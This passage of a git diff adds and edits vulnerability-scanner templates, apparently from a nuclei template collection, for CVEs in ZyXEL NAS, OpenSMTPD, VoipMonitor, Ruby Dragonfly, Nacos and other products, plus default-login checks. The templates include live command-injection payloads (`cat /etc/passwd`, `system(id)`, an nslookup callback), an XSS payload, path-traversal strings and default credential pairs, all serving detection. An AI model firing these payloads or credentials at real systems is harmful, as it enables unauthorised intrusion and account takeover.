   description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.
   reference: https://www.tenable.com/security/research/tra-2020-51
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento
 
   # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible
   # in the event that a CSRF is leveraged against an existing admin session for MAGMI.

cves/2020/CVE-2020-5777.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
   reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento
 
   # Response code 503 indicates a potential successful "Too many connections" error
   # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php

cves/2020/CVE-2020-6287.yaml

@@ -12,16 +12,6 @@ info:
     - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
     - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
 
-  # Affected Versions: 7.30, 7.31, 7.40, 7.50
-
-  # p.s:
-  # > Don't forget to change the default credentials
-  # > to create new admin in associated file:
-  # > `payloads/CVE-2020-6287.xml`
-
-  # Ref:
-  # - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
-
 requests:
   - payloads:
       data: helpers/payloads/CVE-2020-6287.xml
@@ -41,4 +31,9 @@ requests:
         part: body
       - type: status
         status:
-          - 200
+          - 200
+
+      - type: word
+        words:
+          - "text/xml"
+        part: header

cves/2020/CVE-2020-7247.yaml

@@ -0,0 +1,38 @@
+id: CVE-2020-7247
+info:
+  name: OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution
+  author: princechaddha
+  severity: critical
+  reference: https://www.openwall.com/lists/oss-security/2020/01/28/3
+  tags: cve,cve2020,smtp,opensmtpd,network,rce,oob
+
+network:
+  - inputs:
+      - read: 1024
+      - data: "helo target\r\n"
+        read: 1024
+      - data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"
+        read: 1024
+      - data: "RCPT TO:<root>\r\n"
+        read: 1024
+      - data: "DATA\r\n"
+        read: 1024
+      - data: "\r\nxxxx\r\n.\r\n"
+        read: 1024
+      - data: "QUIT\r\n"
+        read: 1024
+    host:
+      - "{{Hostname}}"
+      - "{{Hostname}}:25"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: raw
+        words:
+          - "Message accepted for delivery"

cves/2020/CVE-2020-7961.yaml

@@ -15,7 +15,6 @@ requests:
       command:
         - "systeminfo"  # Windows
         - "lsb_release -a"  # Linux
-        - "sysctl kern.ostype"  # macOS
 
     attack: sniper
     raw:
@@ -40,16 +39,15 @@ requests:
         regex:
           - "OS Name:.*Microsoft Windows"
           - "Distributor ID:"
-          - "kern\\.ostype"
         condition: or
         part: body
       - type: status
         status:
           - 200
+
     extractors:
       - type: regex
         part: body
         regex:
           - "Microsoft Windows (.*)"
-          - "kern\\.ostype: (.*)"
           - "Distributor ID: (.*)"

cves/2020/CVE-2020-8191.yaml

@@ -34,3 +34,8 @@ requests:
       - type: status
         status:
           - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2020/CVE-2020-9054.yaml

@@ -0,0 +1,35 @@
+id: CVE-2020-9054
+
+info:
+  name: ZyXEL NAS RCE
+  author: dhiyaneshDk
+  severity: critical
+  description: |
+    Multiple ZyXEL network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device.
+    ZyXEL NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it.
+    If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the ZyXEL device.
+    Although the web server does not run as the root user, ZyXEL devices include a setuid utility that can be leveraged to run any command with root privileges.
+    As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges.
+    By sending a specially-crafted HTTP POST or GET request to a vulnerable ZyXEL device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device.
+    This may happen by directly connecting to a device if it is directly exposed to an attacker.
+    However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices.
+    For example, simply visiting a website can result in the compromise of any ZyXEL device that is reachable from the client system.
+    Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 ZyXEL has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2
+  reference: |
+    - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/
+    - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml
+  tags: cve,cve2020,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2020/CVE-2020-9315.yaml

@@ -0,0 +1,32 @@
+id: CVE-2020-9315
+
+info:
+  name: Oracle iPlanet Improper Authorization
+  author: dhiyaneshDk
+  severity: high
+  reference: https://www.cvebase.com/cve/2020/9315
+  tags: cve,cve2020,oracle
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2"
+      - "{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Admin Console"
+
+      - type: word
+        words:
+          - "serverConfigurationsGeneral"
+          - "serverCertificatesGeneral"
+        condition: or
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-9490.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-9490
+
+info:
+  name: CVE-2020-9490
+  severity: medium
+  description: Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers.
+  author: philippedelteil
+  tags: cve,cve2020,apache,dos
+  reference: |
+        - https://httpd.apache.org/security/vulnerabilities_24.html
+        - https://bugs.chromium.org/p/project-zero/issues/detail?id=2030
+        - https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=443369
+        - https://nvd.nist.gov/vuln/detail/CVE-2020-9490
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: regex
+        regex:
+          - "Apache/2\\.4\\.([3-3][0-9]|2[0-9]|4[0-3])"
+        part: header

cves/2021/CVE-2021-21985.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-21985
+
+info:
+  name: VMware vSphere Client (HTML5) RCE
+  author: D0rkerDevil
+  severity: critical
+  description: |
+    The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21985
+    - https://www.vmware.com/security/advisories/VMSA-2021-0010.html
+    - https://github.com/alt3kx/CVE-2021-21985_PoC
+  tags: cve,cve2021,rce,vsphere
+
+requests:
+  - raw:
+      - |
+        POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Content-Type: application/json
+        Content-Length: 86
+        Connection: close
+
+        {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}
+
+    matchers:
+      - type: word
+        words:
+          - '{"result":{"isDisconnected":'
+        part: body

cves/2021/CVE-2021-24176.yaml

@@ -0,0 +1,27 @@
+id: CVE-2021-24176
+
+info:
+  name: WordPress JH 404 Logger XSS
+  author: Ganofins
+  severity: medium
+  description: JH 404 Logger WordPress plugin through 1.1 doesn't sanitise the referer and path of 404 pages, when they are output in the dashboard, which leads to executing arbitrary JavaScript code in the WordPress dashboard.
+  references: |
+      - https://wpscan.com/vulnerability/705bcd6e-6817-4f89-be37-901a767b0585
+      - https://wordpress.org/plugins/jh-404-logger/
+  tags: cve,cve2021,wordpress,wp-plugin,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/jh-404-logger/readme.txt"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "JH 404 Logger"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-27651.yaml

@@ -0,0 +1,41 @@
+id: CVE-2021-27651
+
+info:
+  name: Pega Infinity Authentication bypass
+  author: idealphase
+  description: In versions 8.2.1 through 8.5.2 of Pega Infinity, the password reset functionality for local accounts can be used to bypass local authentication checks.
+  reference: |
+      - https://github.com/samwcyo/CVE-2021-27651-PoC/blob/main/RCE.md
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27651
+  severity: critical
+  tags: cve,cve2021,pega,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/prweb/PRAuth/app/default/"
+
+    cookie-reuse: true
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Pega Infinity"
+        part: body
+
+      - type: regex
+        regex:
+          - 'Pega 8\.(?:2\.[1-9]|3\.[0-9]|4\.[0-9]|5\.[0-2])'
+        part: body
+
+    extractors:
+      - type: regex
+        regex:
+          - 'Pega 8\.(?:2\.[1-9]|3\.[0-9]|4\.[0-9]|5\.[0-2])'
+        part: body

cves/2021/CVE-2021-27850.yaml

@@ -0,0 +1,57 @@
+id: CVE-2021-27850
+
+info:
+  name: Apache Tapestry - Arbitrary class download
+  description: |
+    A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
+  author: pdteam
+  severity: critical
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27850
+  tags: cve,cve2021,apache,tapestry
+
+requests:
+  - raw:
+      - |
+        GET /assets/app/something/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+      - |
+        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
+    extractors:
+      - type: regex
+        regex:
+          - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
+        internal: true
+        name: id
+        part: header
+        group: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'application/java'
+        part: header
+
+      - type: word
+        words:
+          - 'configuration'
+          - 'webtools'
+        part: body
+        condition: and

cves/2021/CVE-2021-28073.yaml

@@ -0,0 +1,36 @@
+id: CVE-2021-28073
+
+info:
+  name: Ntopng Authentication Bypass
+  author: z3bd
+  severity: critical
+  description: Ntopng is a passive network monitoring tool focused on flows and statistics that can be obtained from the traffic captured by the server. There is a authentication bypass vulnerability in ntopng <= 4.2
+  tags: ntopng,cve,cve2021
+  reference: |
+      - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/
+      - https://github.com/AndreaOm/docs/blob/c27d2db8dbedb35c9e69109898aaecd0f849186a/wikipoc/PeiQi_Wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/HongKe/HongKe%20ntopng%20%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F%20%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2021-28073.md
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css"
+      - "{{BaseURL}}/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css"
+
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: word
+        words:
+          - '"results":'
+          - '"name":'
+          - '"tab":'
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-29441.yaml

@@ -0,0 +1,49 @@
+id: CVE-2021-29441
+
+info:
+  name: Nacos prior to 1.4.1 Authentication Bypass
+  description: |
+    This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.
+
+    In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
+    Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
+    enables Nacos servers to bypass this filter and therefore skip authentication checks.
+    This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
+    This issue may allow any user to carry out any administrative tasks on the Nacos server.
+  author: dwisiswant0
+  severity: high
+  reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
+  tags: nacos,auth-bypass,cve,cve2021
+
+requests:
+  - raw:
+      - |
+        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+
+      - |
+        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Nacos-Server
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 == 403"
+          - "status_code_2 == 200"
+        condition: and
+
+      - type: dsl
+        dsl:
+          - "contains(body_1, 'Forbidden')"
+          - "body_2 == 'true'"
+        condition: and
+
+      - type: word
+        words:
+          - "application/json"
+        part: header

cves/2021/CVE-2021-29442.yaml

@@ -0,0 +1,30 @@
+id: CVE-2021-29442
+
+info:
+  name: Nacos prior to 1.4.1 Missing Authentication Check
+  description: |
+    In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out.
+    While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
+    These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
+  author: dwisiswant0
+  severity: high
+  reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
+  tags: nacos,auth-bypass,cve,cve2021
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: regex
+        regex:
+          - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
+        part: body

cves/2021/CVE-2021-29622.yaml

@@ -0,0 +1,20 @@
+id: CVE-2021-29622
+
+info:
+  name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect
+  author: geeknik
+  description: In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint.
+  reference: https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7
+  severity: medium
+  tags: cve,cve2021,prometheus,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/new/newhttp://example.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: header

cves/2021/CVE-2021-30461.yaml

@@ -0,0 +1,38 @@
+id: CVE-2021-30461
+
+info:
+  name: VoipMonitor Pre-Auth-RCE
+  author: shifacyclewala,hackergautam
+  severity: critical
+  description: Use of user supplied data, arriving via web interface allows remote unauthenticated users to trigger a remote PHP code execution vulnerability in VoIPmonitor.
+  tags: cve,cve2021,rce,voipmonitor
+  reference: https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
+
+requests:
+  - raw:
+      - |
+        POST /index.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 35
+
+        SPOOLDIR=test".system(id)."&recheck=Recheck
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+          - "groups="
+          - "VoIPmonitor installation"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-31537.yaml

@@ -0,0 +1,28 @@
+id: CVE-2021-31537
+
+info:
+  name: SIS-REWE GO version 7.5.0/12C XSS
+  author: geeknik
+  description: SIS SIS-REWE Go before 7.7 SP17 allows XSS -- rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
+  reference: https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/
+  severity: medium
+  tags: cve,cve2021,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>confirm({{randstr}})</script>"
+          - "SIS-REWE"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/html"

cves/2021/CVE-2021-33564.yaml

@@ -0,0 +1,23 @@
+id: CVE-2021-33564
+
+info:
+  name: Argument Injection in Ruby Dragonfly
+  author: 0xsapra
+  severity: critical
+  reference: https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
+  tags: cve,cve2021,rce,ruby
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

default-logins/arl/arl-default-password.yaml

@@ -0,0 +1,29 @@
+id: arl-default-password
+
+info:
+  name: ARL Default Password
+  author: pikpikcu
+  severity: high
+  tags: arl,default-login
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/user/login"
+    headers:
+      Content-Type: application/json; charset=UTF-8
+    body: |
+      {"username":"admin","password":"arlpass"}
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"message": "success"'
+          - '"username": "admin"'
+          - '"type": "login"'
+        condition: and
+      - type: status
+        status:
+          - 200

default-logins/dvwa/dvwa-default-login.yaml

@@ -3,6 +3,7 @@ info:
   name: DVWA Default Login
   author: pdteam
   severity: critical
+  tags: dvwa,default-login
 
 requests:
   - raw:

default-logins/flir/flir-ax8-default-credentials.yaml

@@ -0,0 +1,41 @@
+id: flir-default-credentials
+
+info:
+  name: Flir Default Credentials
+  author: pikpikcu
+  severity: medium
+  tags: default-login,flir
+
+requests:
+  - raw:
+      - |
+        POST /login/dologin HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 35
+        Accept: */*
+        X-Requested-With: XMLHttpRequest
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
+        Connection: closen
+
+        user_name=admin&user_password=admin
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"success"'
+
+      - type: dsl
+        dsl:
+          - contains(tolower(all_headers), 'text/html')
+          - contains(tolower(all_headers), 'phpsessid')
+          - contains(tolower(all_headers), 'showcameraid')
+
+        condition: and
+
+      - type: status
+        status:
+          - 200

default-logins/jenkins/jenkins-default.yaml

@@ -0,0 +1,50 @@
+id: jenkins-weak-password
+
+info:
+  name: Jenkins Weak Password
+  author: Zandros0
+  severity: high
+  tags: jenkins,default-login
+
+requests:
+  - raw:
+      - |
+        GET /login HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=jenkins&j_password=password&from=%2F&Submit=Sign+in
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: {{cookie}}
+
+    extractors:
+      - type: regex
+        name: cookie
+        internal: true
+        part: header
+        regex:
+          - 'JSESSIONID\..*=([a-z0-9.]+)'
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "/logout")'
+          - 'contains(body_4, "Dashboard [Jenkins]")'
+        condition: and

default-logins/panabit/panabit-default-password.yaml

@@ -0,0 +1,45 @@
+id: panabit-gateway-defalut-password
+
+info:
+  name: Panabit Default Password
+  author: pikpikcu
+  severity: high
+  reference: https://max.book118.com/html/2017/0623/117514590.shtm
+  tags: panabit,default-login
+
+requests:
+  - raw:
+      - |
+        POST /login/userverify.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 246
+        Origin: {{BaseURL}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAjZMsILtbrBp8VbC
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
+        Referer: {{BaseURL}}/login/login.htm
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
+        Connection: close
+
+        ------WebKitFormBoundaryAjZMsILtbrBp8VbC
+        Content-Disposition: form-data; name="username"
+
+        admin
+        ------WebKitFormBoundaryAjZMsILtbrBp8VbC
+        Content-Disposition: form-data; name="password"
+
+        panabit
+        ------WebKitFormBoundaryAjZMsILtbrBp8VbC--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<META HTTP-EQUIV=REFRESH CONTENT="0;URL=/index.htm">'
+          - 'urn:schemas-microsoft-com:vml'
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

default-logins/showdoc/showdoc-default-password.yaml

@@ -0,0 +1,31 @@
+id: showdoc-default-password
+
+info:
+  name: Showdoc Default Password
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://blog.star7th.com/2016/05/2007.html
+  tags: showdoc,default-login
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/server/index.php?s=/api/user/login"
+    body: |
+      username=showdoc&password=123456&v_code=
+
+    headers:
+      Content-Type: application/x-www-form-urlencoded;charset=UTF-8
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"username":"showdoc"'
+          - '"user_token":'
+        condition: and
+
+      - type: status
+        status:
+          - 200

default-logins/szhe/szhe-default-password.yaml

@@ -0,0 +1,33 @@
+id: szhe-default-password
+
+info:
+  name: Szhe Default Password
+  author: pikpikcu
+  severity: low
+  tags: szhe,default-login
+  vendor: https://github.com/Cl0udG0d/SZhe_Scan
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      [email protected]&password=springbird&remeber=true
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - 'You should be redirected automatically to target URL: <a href="/">/</a>'
+
+      - type: word
+        words:
+          - 'Set-Cookie: session'
+        part: header
+
+      - type: status
+        status:
+          - 302

default-logins/xxljob/xxljob-default-login.yaml

@@ -22,11 +22,16 @@ requests:
       - type: word
         words:
           - '"code":200'
+          - '"msg"'
+          - '"content"'
+        condition: and
 
       - type: word
         words:
           - 'application/json'
+          - 'XXL_JOB_LOGIN_IDENTITY'
         part: header
+        condition: and
 
       - type: status
         status:

dns/dns-waf-detect.yaml

@@ -0,0 +1,172 @@
+id: dns-waf-detect
+
+info:
+  name: DNS WAF Detection
+  author: lu4nx
+  severity: info
+  tags: tech,waf,dns
+
+dns:
+  - name: "{{FQDN}}"
+    type: CNAME
+    recursion: true
+    retries: 5
+    class: inet
+
+  - name: "{{FQDN}}"
+    type: NS
+    recursion: true
+    retries: 5
+    class: inet
+
+    matchers:
+      - type: word
+        name: sanfor-shield
+        words:
+          - ".sangfordns.com"
+
+      - type: word
+        name: 360panyun
+        words:
+          - ".360panyun.com"
+
+      - type: word
+        name: baiduyun
+        words:
+          - ".yunjiasu-cdn.net"
+
+      - type: word
+        name: chuangyudun
+        words:
+          - ".365cyd.cn"
+          - ".cyudun.net"
+
+      - type: word
+        name: knownsec
+        words:
+          - ".jiashule.com"
+          - ".jiasule.org"
+
+      - type: word
+        name: huaweicloud
+        words:
+          - ".huaweicloudwaf.com"
+
+      - type: word
+        name: xinliuyun
+        words:
+          - ".ngaagslb.cn"
+
+      - type: word
+        name: chinacache
+        words:
+          - ".chinacache.net"
+          - ".ccgslb.net"
+
+      - type: word
+        name: nscloudwaf
+        words:
